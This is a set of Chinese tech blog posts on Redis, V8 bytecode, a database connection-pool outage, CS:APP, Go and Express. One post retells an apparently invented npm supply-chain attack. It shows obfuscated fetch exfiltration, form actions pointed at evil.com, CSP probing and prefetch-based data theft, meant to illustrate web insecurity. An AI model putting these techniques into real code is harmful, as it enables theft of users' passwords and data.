那势必只有两个策略的结合才行了,那么主动过期的周期如何设置?其实如果是一般人设计的系统,随便给个经验值已经可以算是个 90 分的解决方案了,不过 redis 毕竟是 redis,那个随机算法很好的保证了系统内最多只有占写操作 25%的 key 该过期而又没被删除,还是在可接受的性能代价下。


看下来这套解决方案跟 GC 的策略还挺像的,但是

  1. GC 有一个难点和痛点是对象间的引用关系,比如循环引用问题就可以直接让简单的引用计数打出 GG,redis 没有这个问题
  2. 在有 GC 的环境中,使用者不用关注资源何时释放(也是自动 GC 的意义所在)。而在 redis 中,使用者需要而且必须明确资源何时释放

这两个点决定了,过期策略和 GC 策略基本上是两个东西。


感慨时间:

  1. redis mysql 这种老牌项目真是宝库,经久不衰有各种层面上的原因
  2. timer 是个好东西,人人都需要它。游戏引擎里 update,nodejs 之类 runtime 里的 event loop 都是些翻答案才能发出“原来如此”赞叹的解决方案。不过多翻翻答案,也是一条快速涨分的好路啊
END

性感V8字节码,在线教你解面试题

题目如下:

{
  function a() {}
  a = 42;
}
console.log(a);
{
  a = 42;
  function a() {}
}
console.log(a);

答案:

第一段代码输出function,第二段42


答案解析:

本题考察点在于第二段代码中的a = 42就只是一句赋值语句,并不是考生猜想的全局变量声明+赋值,而function a函数升舱以后,一直在最头部声明,也就是最后 log 出来的对象,而两句赋值,一个赋的是”局部的“,一个赋的是”全局的“。

吐槽:为什么一个语言的”全局变量声明+赋值“会和”赋值“语句长得一模一样?连有goto的 C 都不是这样啊

对吐槽的吐槽:不晓得为什么各种半灌水程序员(比如我),会热衷于对一个不晓得为什么就火了的三个星期就设计出来的语言吐槽,哪里来的自信(三个星期,可能也就够我把 parser 的测试用例写完……)


答案解析的解析:

1. 怎么看 JS 的 bytecode

首先,JavaScript 的 runtime 就很多,而有些实现根本就没有 bytecode 这种 IR(IL 随便了,都是一个意思)。忽略那些比较小众的 runtime(和 V8 的某些版本),怎么看各种实现了 IR 的 js runtime 的 bytecode,激发起了我一个编程语言爱好者强烈的兴趣。

“工欲善其事必先利其器”,如果能找到个 C#世界里 IlSpy 之类傻瓜的工具,事情不就——并没有找到(动手写一个?再说=不说了

google 一圈以后,发现 node 自己就支持--print-bytecode这个 flag(实际上就是透传给了 V8)。但是,尝试之后发现就算只是1+1,最后 print 出来的东西都太多了,根本没法看。这个容易理解,毕竟 node 除了 libuv 这个核心,一大堆东西都是在 JavaScript 层实现的(比如moduleprocess这种看起来 native 的函数)。

node 不行,可能就只有裸 V8 了。幸好还是有些比裸 V8 稍微好用一点的工具的:eshot,配合上jsvu,甚至连 QuickJS 和 Chakra 之类的也能一并看了。

eshost 的使用很简单,看看 README 就懂。我本机只配好了 V8 环境和 --print-bytecode 这个额外参数,实验够用了。

开始解题:

2. 这道面试题的 bytecode

先看赋值 42 在前的 bytecode:

[generated bytecode for function:  (0x07424ba1dd79 <SharedFunctionInfo>)]
Parameter count 1
Register count 4
Frame size 32
         0x7424ba1df26 @    0 : 12 00             LdaConstant [0]
         0x7424ba1df28 @    2 : 26 fa             Star r1
         0x7424ba1df2a @    4 : 0b                LdaZero
         0x7424ba1df2b @    5 : 26 f9             Star r2
         0x7424ba1df2d @    7 : 27 fe f8          Mov <closure>, r3
         0x7424ba1df30 @   10 : 61 2d 01 fa 03    CallRuntime [DeclareGlobals], r1-r3
    0 E> 0x7424ba1df35 @   15 : a7                StackCheck
    7 S> 0x7424ba1df36 @   16 : 81 01 00 00       CreateClosure [1], [0], #0
         0x7424ba1df3a @   20 : 15 02 02          StaGlobal [2], [2]
         0x7424ba1df3d @   23 : 26 fb             Star r0
   21 S> 0x7424ba1df3f @   25 : ab                Return
Constant pool (size = 3)
0x7424ba1dec9: [FixedArray] in OldSpace
 - map: 0x07426bc80799 <Map>
 - length: 3
           0: 0x07424ba1ddb9 <FixedArray[4]>
           1: 0x07424ba1de79 <SharedFunctionInfo gc>
           2: 0x07424ba1dd19 <String[#2]: gc>
Handler Table (size = 0)
[generated bytecode for function:  (0x07424ba1fca1 <SharedFunctionInfo>)]
Parameter count 1
Register count 5
Frame size 40
         0x7424ba1fde6 @    0 : 12 00             LdaConstant [0]
         0x7424ba1fde8 @    2 : 26 f9             Star r2
         0x7424ba1fdea @    4 : 0b                LdaZero
         0x7424ba1fdeb @    5 : 26 f8             Star r3
         0x7424ba1fded @    7 : 27 fe f7          Mov <closure>, r4
         0x7424ba1fdf0 @   10 : 61 2d 01 f9 03    CallRuntime [DeclareGlobals], r2-r4
         0x7424ba1fdf5 @   15 : a7                StackCheck
         0x7424ba1fdf6 @   16 : 81 01 00 00       CreateClosure [1], [0], #0
         0x7424ba1fdfa @   20 : 26 fa             Star r1
         0x7424ba1fdfc @   22 : 0c 2a             LdaSmi [42]
         0x7424ba1fdfe @   24 : 26 fa             Star r1
         0x7424ba1fe00 @   26 : 15 02 02          StaGlobal [2], [2]
         0x7424ba1fe03 @   29 : 13 03 04          LdaGlobal [3], [4]
         0x7424ba1fe06 @   32 : 26 f8             Star r3
         0x7424ba1fe08 @   34 : 29 f8 04          LdaNamedPropertyNoFeedback r3, [4]
         0x7424ba1fe0b @   37 : 26 f9             Star r2
         0x7424ba1fe0d @   39 : 13 02 00          LdaGlobal [2], [0]
         0x7424ba1fe10 @   42 : 26 f7             Star r4
         0x7424ba1fe12 @   44 : 5f f9 f8 02       CallNoFeedback r2, r3-r4
         0x7424ba1fe16 @   48 : 26 fb             Star r0
         0x7424ba1fe18 @   50 : ab                Return
Constant pool (size = 5)
0x7424ba1fd79: [FixedArray] in OldSpace
 - map: 0x07426bc80799 <Map>
 - length: 5
           0: 0x07424ba1fce1 <FixedArray[4]>
           1: 0x07424ba1fd11 <SharedFunctionInfo a>
           2: 0x0742a218e999 <String[#1]: a>
           3: 0x0742fe20c681 <String[#7]: console>
           4: 0x0742fe20c721 <String[#3]: log>
Handler Table (size = 0)

嗯,熟悉的MOV,熟悉的味道,跟想象中(和其他语言的)IL 还是比较一致的。bytecode 的各种知识不是本文重点,想要了解推荐阅读 lua 源代码(怀念在另一个平行时空坚持写完了的 lua 源码阅读系列文章)。而一些关于 V8 的基础知识这个文章写的很好了,看完也能了解个大概。

比较蛋疼的是 V8 并没有一个专门的页面列出所有指令和大概的用法,虽然根据命名也能猜到个大概,但是猜测哪是我们知识分子做学问的态度?本着科学精神,又是一番 google,发现 V8 的源代码里的注释写的倒是挺详细,作为指令简介列表应该是够了。(困惑的是 master 分支上的代码没有这个分支上的全,很多指令在 master 的 HEAD 上并不能搜到,但我的科学精神只能支持我到此为止了)

继续试验,发现两个版本的 IL 基本一致,除了下面几行:

# a = 42 在前
0x7424ba1fdfc @   22 : 0c 2a             LdaSmi [42]
0x7424ba1fdfe @   24 : 26 fa             Star r1
0x7424ba1fe00 @   26 : 15 02 02          StaGlobal [2], [2]
0x7424ba1fe03 @   29 : 13 03 04          LdaGlobal [3], [4]
# a = 42 在后
0x2fae7b71fdfc @   22 : 15 02 02          StaGlobal [2], [2]
0x2fae7b71fdff @   25 : 0c 2a             LdaSmi [42]
0x2fae7b71fe01 @   27 : 26 fa             Star r1
0x2fae7b71fe03 @   29 : 13 03 04          LdaGlobal [3], [4]

嗯,通过对照 V8 源码里的注释,大概看懂了就是把 42 赋值到了 accumulator,然后又赋给了某个 constant pool 的值?接下来还是一脸问号,还是没法说出为啥最后的输出是那个结果,犹如走进了迷宫完全不知道从何走起?这就对了,因为你还没有掌握走迷宫的终极大发——“从出口开始走”法。

我现在就带你从出口开始走,先看 console.log 到底在输出啥,整段代码就只有一次函数调用,如果你连CallNoFeedback就是对应的 bytecode 都猜不到,那确实可以放弃一切“走迷宫”的游戏了:

0x7424ba1fe12 @   44 : 5f f9 f8 02       CallNoFeedback r2, r3-r4

2 号 register 里(r2)放的是函数log,而 r3 是this (console)可以忽略,那么最后输出的 a 就是 r4 了,继续看 r4 里是啥:

0x7424ba1fe0d @   39 : 13 02 00          LdaGlobal [2], [0]
0x7424ba1fe10 @   42 : 26 f7             Star r4

嗯,是 constant pool 里的 2 号位(通过 accumulor 做了一次中转),那 constant pool 里的 2 号位是谁?一个是 42:

# a = 42 在前
0x7424ba1fdfc @   22 : 0c 2a             LdaSmi [42]
0x7424ba1fdfe @   24 : 26 fa             Star r1
0x7424ba1fe00 @   26 : 15 02 02          StaGlobal [2], [2]

另一个是某个 closure (function a):

0x2fae7b71fdf6 @   16 : 81 01 00 00       CreateClosure [1], [0], #0
0x2fae7b71fdfa @   20 : 26 fa             Star r1
0x2fae7b71fdfc @   22 : 15 02 02          StaGlobal [2], [2]

好,跟我们的答案以及答案的解析完全一致,恭喜你走出迷宫了。

3. 面试题通用解法——翻答案

好了,上面就是翻答案的方法了,现在所有面试题都能解了,前提是你能带上你的笔记本那直接跑一下代码不就得了

END

震惊!你的健康检查,正在杀死你!

TLDR (经验教训)

  1. 阿里云的负载服务,在健康检查失败的情况下,直接把所有请求返回 502,请求不再 forward 到后端服务器
  2. nodejs 的mysql这个库,链接池在用完的情况下,继续取链接,(default)不会报错,更不会超时,大家一起等到天荒地老
  3. 除了你自己写的代码,所有其他库也好、服务也好,都是依赖。依赖是黑盒子(我不信开源的库你就会熟读每一行代码),黑盒子出了问题,是最头痛的

流水账

中午新版本发布,代码主要 diff 在新作了个活动,逻辑有一丢丢复杂,发布之后到晚上都正常,在日常流量下。

下午的时候,有用户在核心用户群里反馈请求错误,验证了一下所有人的登录包都没响应了,欣喜若狂,以为流量炸裂了(理智分析了 1s,好像不太可能,是想钱想疯了没错)。

果然,第一时间打开阿里云的监控,cpu 带宽都是 10%不到的状况(稍微背景下:乞丐级虚拟机,单机,前面有个负载服务,为啥单机还要负载?因为 1.有理想 2.价钱并没有贵多少,like 一个月一顿 KFC?)

第二时间 ssh 上服务器,祭出大杀器——重启试试(我流量小但我日志打得多啊,不用留全尸,就是这么自信呵呵),重启了一下,果真万事大吉。 转念一想,不对啊,有进程管理的东西在(pm2),如果真是服务器进程崩了自动就重启了啊,也就是进程没死,只是变成僵尸了?后悔刚才应该 curl 一下的。

第三时间开始查日志(无关吐槽,postmortem 这个词看起来很专业,尸检看起来就很阴森),先看 accesslog,发现有一段时间的空白,一条日志都没有。这个好理解,因为我为了记每个请求的 duration,是在请求返回的前一刻才打的日志(duration = endtime - starttime),所以可以断定为请求都在服务器里堆积着,处在并没有从网卡写回去的状态。 进一步证明了,服务器在故障时,处于一个装了一肚子请求的僵尸状态,神奇。
再看 info 级别的 log,这个 log 记得啰嗦很多,从请求来到请求走中间还有些逻辑都写了日志。用 accesslog 开始空白的时间搜索,很容易就找到了案发现场,往前查看详细日志,看到了一大堆没返回(有来无回)的登录包,然后突然也就没日志了,再后来就是重启了。 嗯?不对!就算可能是死锁或者是类似的问题,也没说过 nodejs 有请求太多(况且请求真不多)就阻塞不再相应的问题,反之 nodejs 的买点不就是异步无阻塞,高 IO 行家吗?一个请求都不在进 nodejs(log 不到)不合常理。

头痛,一下午就过去了。

晚上,再一次故障,所有请求 502。第一时间 ssh 上服务器以后,curl了一下 localhost 的某个接口,200,说明僵尸还活着,还能吃请求。突然想到,这个服务器前面不是还有一个负载的服务吗,还给我勤勤恳恳地发了服务不健康的短信来着。
健康检查可能是坏人,它谎报了健康状况(其实并没有)!一边查看日志,一边提了工单问阿里云的售后(吐槽一下,大多时候没啥卵用)。顺便,健康检查大致的代码如下:

function healthCheck() {
	checkRedis();
	// some 'SELECT 1;' sql, sadly timeout here
	checkDb();
	checkGrpc();
}

最终发现,负载服务一旦开启了健康查查,且健康检查的结果是不健康的时候,所有请求不再 forward 到后端的服务,而是直接在负载这层就 return 502 了。而当检查检查恢复到健康的时候,它才会继续 forward 请求。
这顺便也就解答了我长期以来的一个疑问,有时候,一旦重启服务器的速度比较慢,前端链接恢复正常的速度就会慢得更多,原来是在等健康检查 200,就“无端”浪费了好几个健康检查的 interval。

至此,问题解决
了吗?并没有。

只是晓得了 502 和后端服务器收不到请求的原因,但造成后端服务器假死的真正原因并没有找到,健康检查挂了的原因也不明确。

一天过去了。

第二天,从日志里把几次事故时间点往上大概 1000 条日志抓了出来,去除一些干扰信息,重新合并到一个文件里,然后开了 N 个窗口,开始交叉对比。
惊奇的发现,开始出现假死的时候,所有数据库的 query 都没有执行(健康检查也就挂在了检查数据库链接的那一行)。数据库死锁?不对啊,重启服务器解决不了这个啊。上 rds 看了下(对,数据库也买的 PaaS),确实没有死锁的记录。
又一想,数据库服务器没死锁,但客户端可以啊。是不是问题出在 mysql 客户端的链接池?但这个东西能“死锁”吗?还真能!赶快写个简单的代码复现一下:

const pool = mysql.createPool({ ...otherConfig, connectionLimit: 2 });
pool.getConnection(cbNotRelease);
pool.getConnection(cbNotRelease);
// died here
pool.getConnection(cbNotRelease);

之后顺着日志看了下,事发之前都在请求新上的活动的接口,很快就定位到了真正的 bug:

const tx = await db.beginTransaction();
// bug1: should use tx not db
await db.query("select blah");
// bug2: forget to commit
// tx.commit

自己封装的beginTransaction()commit()或者rollback()的时候自动去 release connection,忘了 commit 就不会 release,而 tx 中的 query 其实并没有用到这个 connection,还是在正常执行。 所以两个 bug 叠加在一起就导致了好像业务能正常运行,但是请求这个接口到达一定次数之后(connectionLimit 次),所有数据库请求都在客户端被锁死。 所以,mysql.js 这个库的acquireTimeout根本不是我想象的那个意思(获取 connection 超时后报错),不过也不能这样设计,原因见下。

至此,问题解决
了吗?bugfix 了,但是能不能在 design 上杜绝这种情况?

考虑了两种实现,使用了后一种:

  1. 直接在 beginTransaction 的时候起一个 timer,超时自动 release,client 端是不会死锁了,但是锁却留给了数据库(相当于在 mysql 里只BEGIN,然后就不管不顾起其他链接了),只是把问题转移给了数据库,还更不容察觉
  2. 自行记录所有在用的 conn 计数,超过 connectionLimit 就报错,让程序挂掉,顺便释放所有数据库链接(这一手 let it crash 相当潇洒)

至此,问题解决。

经验教育(续)

强行首尾呼应一下

  1. 日志还是要多打
  2. 做好每一个依赖出错的准备(至少是心里准备
END

web哪有什么安全

一篇文章,有感而发,安全真的难做。

文中一些让人“眼前一亮”的 hack 如下:

  • 传播方式:npm dependency 注入,相比之下 xss 什么的就弱爆了,没有用户输入也能让你中招
  • 伪装成人畜无害的 package,比如“let you log to console in any color”(我觉得是在黑 chalk.js),然后拼命往其他 npm 上下载的多的项目提 pr,总会有一些 merge 的
  • 然后就静静地躺在那些中招的项目的 node_modules 里,耐心潜伏
  • 恶意代码被发现了咋办?这个好说,在项目结构上伪装一下,src里放人畜无害的代码,dst里放 unglify 的恶意代码(反正dst里的代码也是 gitignore 掉的),但是并不是从src的代码 build 过去的。所以,看项目的 github 干干净净,但是从 npm 下载下来的执行的代码,却是完全的两回事
  • 而且,恶意代码也没那么容易发现,至少静态扫代码不行:
const i = "gfudi"; // fetch
const k = s =>
  s
    .split("")
    .map(c => String.fromCharCode(c.charCodeAt() - 1))
    .join("");
self[k(i)](urlWithYourPreciousData);
  • 假设你在colorful.log的时候,就已经莫名其妙的执行了很多恶意代码了,比如获取input[type=password].value
  • 这些获取的信息,总得传到自己的服务器上吧,这个门道就更多了:
  • 永远不在NODE_ENV=developement的时候发请求,开发测试期可能就躲过去了
  • 永远不在 7am 到 7pm 发请求,高峰期又可能就避过去了(数据先放 localStorage 之类的地方缓缓)
  • 然后现代浏览器发请求,都有个叫 Content Security Policy 的东西做安全的托底。有 CSP 怎么绕开呢?先确认一下:
fetch(document.location.href).then(resp => {
  const csp = resp.headers.get("Content-Security-Policy");
  // does this exist? Is is any good?
});
  • 确认的目的很简单,如果顶着 CSP 作案,可能会被 report-uri 捕获,留下犯罪痕迹
  • CSP 不合理就好办了:
Array.from(document.forms).forEach(
  formEl => (formEl.action = `//evil.com/bounce-form`)
);
  • 有 CSP 咋办呢,还有终极大招:
const linkEl = document.createElement("link");
linkEl.rel = "prefetch";
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
  • 如果浏览器恰好不支持 prefetch,但是 CSP 设置却异常合理,咋整?不整了呗,反正也不会留下痕迹

当然故事是编的,不过从可行性上来看,没啥大问题


亚里士多德一波:

  1. 运行在客户端的代码都是不安全的
  2. web 代码(js)运行在客户端
  3. 所以 web 代码是不安全的

客户端代码:AKA 用户去主动运行的代码,比起服务器代码:AKA 程序员或者程序去启动的代码,理论上就存在更多可能。游戏外挂和各种 pc 病毒都没灭绝,web 的绝对安全谈何容易,充其量也就是提高一点犯罪成本罢了。

END

cs:app读书笔记

突然有时间可以看下这本砖头,就挑着想看的章节,先看个一遍。越看越感叹先人的智慧,计算机科学当得起科学二字,毫不夸大。

c 语言

CS 的精髓就在于抽象,把抽象说的具体一点:汇编就是 executable 里.text 的抽象,而 C 就是汇编的抽象。为什么很多 system 级别的事情只能 C 来做,原因很简单:隔着两层抽象(还有一层是虚拟机之类的东西),你很难做到跟 C 一样的事情。 longjmp怎么做?用try-catch吗?自由度开到顶的指针怎么做?用蹩脚的unsafe吗?(参考 Microsoft 自己开源的 C#的 codebase,就算是偏下层的产品,用过多少unsafe) “支持”和“为此而生”是两个截然不同的东西,就像 SUV 和真正的越野车。

linux 的 syscall 为啥都是以 C 提供的,跟这本书的所有实例都是用 C 写的,一个道理。写不好 C 说得过去,不能读 C 万万不行。

进程

“进程是操作系统提供给开发人员的一种抽象,程序看上去独占了机器的所有资源”,这个定义,感觉比我们本科教材上写的好。(好像写的是:进程独占资源,线程占用处理能力?)

%rax %eax %ax %al

联想到 tyr 大神公众号的推送文章,“现在的程序员”无脑就用 json+http,实在是太浪费了。人家一个 64 位的寄存器都可以分 32 位、16 位的用,你凭啥把一个 bit 就能解决的 bool,用false这么五大个 ascii(更不要说 utf 了),5 * 8 = 40 个 bit 才搞定?绿水青山金山银山了解一下?

x86-64 加了一条限制,传送指令的两个操作数都不能指向内存位置

TIL 系列,虽然在日常编程中都把内存当“高速缓存”在用了,但是在某个维度上来看,内存确实是龟速。只是很多程序员都没法活在那个维度。

branch prediction

最早看到这个概念应该还是在某个 StackOverflow 的回答里,简单(不是很正确)的描述就是,处理器为了做 eager 的优化,会先忽略if的结果,先“并行”计算if{}里面的结果,如果猜对了,皆大欢喜,直接就有结果了;猜错了,那就再算一次,多多少少浪费了一点性能(其实跟你预期的时间一致)。

也就是:

if (cond) {
	doSth
}

处理器会先预测一个 cond,然后可能会预先 doSth,哪怕最后cond==false(点背)。

有个优化的方法:用类似cmovge之类的指令(也就是?:),来规避原先if编译出的jge指令,断绝了 cpu 猜测的想念。

前两个月很火的 meltdown 还是 spectre 漏洞中的某一个,就是用这个原理,去读到内核的地址里的东西的。

栈破坏检测

又是类似0xDEEDBEEF之类的烂梗,只是多科普了一个知识:金丝雀检测之所以叫金丝雀检测,是因为以前下矿井会先下只金丝雀,因为它能察觉有毒的气体。

库打桩机制

又是个 TIL:C 提供某种能力,可以在编译时替换第三方库的函数为自己的实现,从某种程度上来说,很像 ruby 里的 Monkey Patch,但是要彻底的多。

动态链接库

直接节约了内存中的 .text .data 空间,再次体现出系统级的省;热升级——nginx 不停,后台代码更新。这两点是我没有想过的。

fork

写了些 fork 的 hello world,深刻理解了朋友说的:fork 以后的子进程直接共享 parent 的状态和内存,你告诉我,windows 怎么做?但要写更复杂的 fork,心智上的负担就重了,还是类似于 coroutine 之类简单一点的模型比较符合我等的智力水平。

virtual memory

  • 分级(多级的Page Table Entry)和缓存(硬件级别的TLB),简直是CS中万物理论(中的一项)。
  • 需要通用的数据结构,加个header总是没错的。系统分配的heap内存还有一个可选的footer
END

用node_redis,不需要pooling

周末看到个 XX 公司 redis 最佳实践的文章,中间有一条是 client 最好做 pooling,提高效率。

手上的项目后台是 nodejs,redis client 用的redis_node这个实现,没有额外实现连接池。因为印象中似乎看过有 stackoverflow 的答案说是已经默认实现了,一搜,果然有这个帖子https://stackoverflow.com/questions/21976270/node-js-redis-connection-pooling,只是说的是不用去管 pool 了,一个 client 就足够高效了。

略感兴趣是如何的高效法,难道是默认实现了 connection pool?就看了看源代码,结果一个 client 就一个 socket(or tls),丝毫没发现 connection pool 的影子。

遂又搜了一下 github 的 issue,发现了个关键字——pipeline。

读了 redis官方的文档,才弄明白是如何个高效法:

redis 的协议十分的简洁,标准的 request-response 模式,除了 sub/pub 和 moniter 等命令外,都是你发一个 request 我回一个 response,简单直白。而所谓 pipeline,就是 client 可以一次性发送多个 request,而不需要等到前一个 request 收到对应的 response 了以后再发送第二个 request,server 也会把所有的 response 按收到 request 顺序打包一次性的回复。从而减少了 RRT 和 syscall 的次数,在 throughput 高的情况下可以提升不少的效率。

等等,一次多个请求一起发送,redis 的协议又没有包 ID 之类的东西,不会出现乱序么?这个还真不会!因为服务器是按照收到请求的顺序准备好 response,并放到 buffer 里统一发送的。你能保证请求的顺序,也就不用担心相应的顺序了。正好,nodejs 还就是单线程模型的,而且底层的网络实现还用的是 epoll 而不是 threadpool。这下请求顺序都没得乱,巧了吗这不是!

再等等,我看 node_redis 的源代码,每次调用 redis 的 command,都会往 socket 里写,好像并没有合成一个 tcp 包的打包操作啊?因为本来 nodejs 的 socket.write 也不是直接往 system 的 socket 里写的啊:

socket.write(data[, encoding][, callback])# Added in: v0.1.90 Sends data on the socket. The second parameter specifies the encoding in the case of a string–it defaults to UTF8 encoding.

Returns true if the entire data was flushed successfully to the kernel buffer. Returns false if all or part of the data was queued in user memory. ‘drain’ will be emitted when the buffer is again free.

The optional callback parameter will be executed when the data is finally written out - this may not be immediately.

启示:

  1. 没事别瞎优化 —— premature optimization is the root of all evil
  2. 多读源代码 —— show me the code
END

恰如其分的丑陋

用了段时间的golang,写点东西,强行把每年的post凑到3篇。

The Good

Language

做为C语系的明星级后辈,golang语法只能用平易近人来形容(跟lisp语系比起来)。只要是有一点其他C语系的背景,就算是没看完tutorial,不说写,读golang代码基本不会有任何困难。

学习曲线平缓且短 check√

作为2010年左右诞生的语言,modern的元素也一个都不差,reflection——有,GC——不断优化中,匿名函数——还行(不能用=>略不爽),类型推断——姑且算吧,etc。

时尚 check√

简洁。不仅仅是少了每行一个的;,或者是直接用方法名的大小写来区别“public”和“private”,就连语言的Specification也只有java的1/N长。

简约 check√

我最爱的几个小地方:

// swap
a, b = b, a
// byte manipulation
bs := []byte("ffff")
fmt.Printf("%x", bs)
// multiple expression for
for val, ok = dic[key]; ok {
    // val blahblah
}

讨喜(???) check√

Go Tools

成熟的技术发展到一定阶段必定拥有自己的ecosystem,ecosystem的基石无非两点——开放&包管理。golang的开放不必说,全套代码就在那儿(compiler也用golang重写了,满足好奇心的成本够低了)。 golang的包管理也是简单的不行——源码分发,go get完事。对比js和py,npm和pip都是强大的包管理工具,从各方面来说都比go get强大不少(版本控制、可以做镜像等,现在的dep都还不是正式版本也比较神奇)。他们各自的生态体系中都诞生了不少不局限于nodejs和python的工具,比如tldrthefuck。 golang的第三方工具不见多少(当然你可以说是stdlib足够强大),而且略显混乱(顺便吐槽dep和godep竟然是两个不懂的东西),但人家第一方的工具厉害的没朋友啊:

pprof

CPU和heap都能dump,针对http也有特化的包支持。总之profiler该有的东西都有,而且:

sample

体贴到了这种程度!

BTW,CPU profile生成的SVG也不比Visual Studio里花哨的图差。

go vet

这段代码:

if (a != b || a != c) && cond {}

是会有warning的!!因为!=是可以用xx定律提到外面去,而且代码本身的逻辑也读起来很不友好!是不是比def but not used之类的warning有用很多(golang中的def but not used是error)!

go fmt

终结“tab vs space”大战的神器,既然官方都认定了更好的格式,那还有什么理由不统一代码风格?不仅仅是一个项目的风格统一,而是所有项目的风格统一,想想都觉得很cooooooool(爸爸教你玩游戏写代码)。

google一下,吹gofmt的文章多得是。

Language-Level Parallel

之前写过不少关于javascript的async的文章,但始终没有一个结论,业界也并没有找到银弹。究其原因,无论是promise还是async/await,始终只是patch,补丁打的再多,能有一件新衣服好看?

问题不是actor模式或者“actress”模式多么好,而是原生级别/语法级别的并行支持,直接就决定了程序员写代码的思路!就像用C-like的语言处理集合,你第一反应是for,而lisp-like,第一反应会是fold

有个形而上的视频值得一看

The Bad

no-sugar

爱好甜食,少了语法糖,多少有点不爽,比如

// 存疑,因为golang并不是OOP,而且this并不总是指针
func Struct.SomeFunc() {
    this.Foo
}
strukt := SomeStruct {
    A, // 同名的field自动赋值,like es2015
    B,
    C,
}

no-functional

无穷无尽的for让人心烦,没有map没有filter,也没法写出“underscore.js”来。因为虽然有high-order function,但是没有泛型。既然golang的author出于效率原因并没有选择泛型,那你除了写for也没有其他选择。golang的设计思路应该是productive和effective的平衡,泛型这个特性明显是取effective而舍productive的决定。但设计思路这种东西其实还是挺玄的,“符合设计思路”这件事,其实就是“作者想怎么定就怎么定”,所以才会有很多大神A用B语言不爽愤而发明C语言的故事。/摊手

why golang

error handling

显式的err handling,同泛型的取舍,有道理但我不喜欢,C式的错误处理让人感觉活在80年代。

The Ugly

终于可以点题了。

虽然在大神眼里,golang只算是个中等偏下的语言。 但这份“中等偏下”,IMHO,算得上是恰如其分。

拿另一个我用的多的语言举例子当反面教材——C#,C#每个版本里加入的语言特性和stdlib之多,简直是“互联网”式的。 C#好用吗?当然,你能想到的paradigm基本都能玩得转!但是C#2.0和C#6.0简直是两个语言,你写的C#和我写的C#也是两个语言。灵活的语言容易讨喜,写起来心情愉悦,殊不知“写代码一时爽,重构火葬场”。 你永远无法想象,在用别人的代码的时候,遇到ins.变量1这种代码心里会是怎么个感受。(真人真事,人格担保)

Python这么多年来把定位相似的Ruby按在地上摩擦,就是因为Do one thing in one way而不是Do one thing in 93244 ways,golang同理,简洁的语法和gofmt,很好的完成了one way的目标。比起python,golang更是多了效率(performance)的优势和原生的并行支持,备受追捧也是理所应当。

都2017年了,离C语言诞生都40多年了,可以说,最近10年诞生的所有语言都是DSL(domain specific)而没有general purpose了。 因为现在IT领域跟其他传统行业类似,也进入了细分的时代,比如AI和UI,虽然都有个I,但是从主流的开发语言到开发工具,基本上是没有走向统一的那天了。 就算一个新语言的定位是replace of C(Rust?不懂不乱说),那也是针对系统级编程的DSL。

golang就是云编程的DSL,因为docker和kubernets这种云时代的基础都是golang写的,正如unix是用C写的一样。

曾几何时,还被一些hello-world的文章误人子弟过,说什么golang是新一代的C,你家的C内存不透明反而封装好了线程池?

最后,还是一个我大学以来就坚持的观点——编程语言火不火,主要还是看用的人多不多,其他?都是废话。

END

Expressjs三五事

最近在用Expressjs折腾后台,遇到一些坑(很多都不算坑,只怪我自己不会走路),也积累的一些tips,可以一记:

EXPRESS

框架本身的质量和成熟度还是比较高的,最出色/难得的一点是——十分的克制(连body-parser都要自己require),跟前辈RoR和Rjango相比,轻量的不像实力派。虽然支持View,但是没有任何默认的Render Engine;根本就没有任何连带的ORM或者类似的数据访问的组件,也就跟Model也沾不上啥边。

所以,你已经很难把Express定位为MVC Web Framework了,而更为准确的定位是——带middleware chain的router,仅此而已。

轻量带来的优点和缺点同样显而易见

Pros:

  1. 源码短,容易读,想要看清楚一个请求怎么来怎么去debug个10来次都能弄明白个大概
  2. 优化容易,iceberg少,能看到的东西基本上就是所有了
  3. 接口简单,学习成本和记忆成本少。(req, res, next) => {}就基本上你需要写的所有东西了。
  4. res和req只是在nodejs本来的request和response上封装的一层,该有什么就有什么
  5. app和router的设计真的是出色,各种sub-app和router的分离可以让每个请求走的middleware chain既清晰又精简

Cons:

  1. 各种middleware需要自己折腾,麻烦
  2. 各种middleware需要自己折腾,麻烦
  3. 各种middleware需要自己折腾,麻烦
  4. 各种middleware需要自己折腾,麻烦
  5. 各种middleware需要自己折腾,麻烦

开发

Nodemon

任何用到了node的项目,都该在package.json里有如下配置才对:

  "scripts": {
    "dev": "set DEBUG=zd:* & nodemon ./bin/www",
  },

Debug()

这是一个很有用的module:

  1. 不是所有所有代码都能用ide的debug搞定,比如时序相关的
  2. 很多时候也就是一个print就能搞明白的东西,何必要F5?
  3. 其他各种module,包括express自己也都是用的debug(),只要set DEBUG=*就能看到所有的print,岂不痛哉
  4. 关于nodejs的一切都是tj大神写的,这个也不例外

Promise

Promise是一味解决callback hell的好药,但并不能根治,还是希望await/async早点成为正式标准吧。promise的缺点,随便google一下多的是。

Sequelize

算是个合格的ORM,该有的功能都有,只是:

  1. 文档略渣
  2. 时区问题有点烦,需要在配置里加个+8:00,DB里存utc确实是解决globalization的好办法,但几个项目需要呢?
  3. migration的功能看起来很美,但是动不动就要drop table,你敢用?
  4. model里没定义的field,写在query的attributes里,并不会报错,你看debug信息里生成的sql也有,但最后的model就是没有,有点蛋疼
const foo = sequelize.define('foo', {
    a: DataTypes.STRING(512),
    //b: DataTypes.STRING(512),
});
     
db.foo.findOne({
    attributes: ['a', 'b']
}).then(ret => {
    // DEBUG: EXECUTE SQL: select a, b from foo
    ret.b === undefined;
});

Morgan

全局日志,没啥好说的。只是很多时候只能抛出Error: write after end,但实际上可能是读写permission的问题。不过这也怪不得实现,只能自己好生检查了。

部署

Serve Static

Expressjs自带的server static十分简单,就是单纯的每次读文件(304不用读,废话),正确的返回304或者200,也没有任何缓存(view engine的模板倒是有缓存)。静态资源还是应该放在专业的地方。

PM2

监控和部署全款它了,好用还是好用,只是:

  1. web上的监控服务收费,倒是无可厚非
  2. deploy localhost有点麻烦(需要把ecosystem.js里的host写成localhost之类的,google一下有很多人问过),因为设计初衷是部署到remote机器(确实是合理的)
  3. startup脚本用其他用户,必须要sudo pm2 startup --user other --hp /var/other,su到其他user,报一些风马牛不相及的error
  4. 执行deploy的目录必须要git init过 ???

nickyong

Newbie-thing

  • 非root用户无法bind 80端口:现在还没lbs,有了自然不会bind 80,看起来过得去的解决方案就只有iptable做本地转发了
  • 开发环境用crontab做些自动部署之类的东西挺方便的
  • shell script真不是人写的
END

熟练掌握javascript

超过半年没有写文章,也是懒得很。

这么大个时间上的断层,免不了想总结回顾一下:

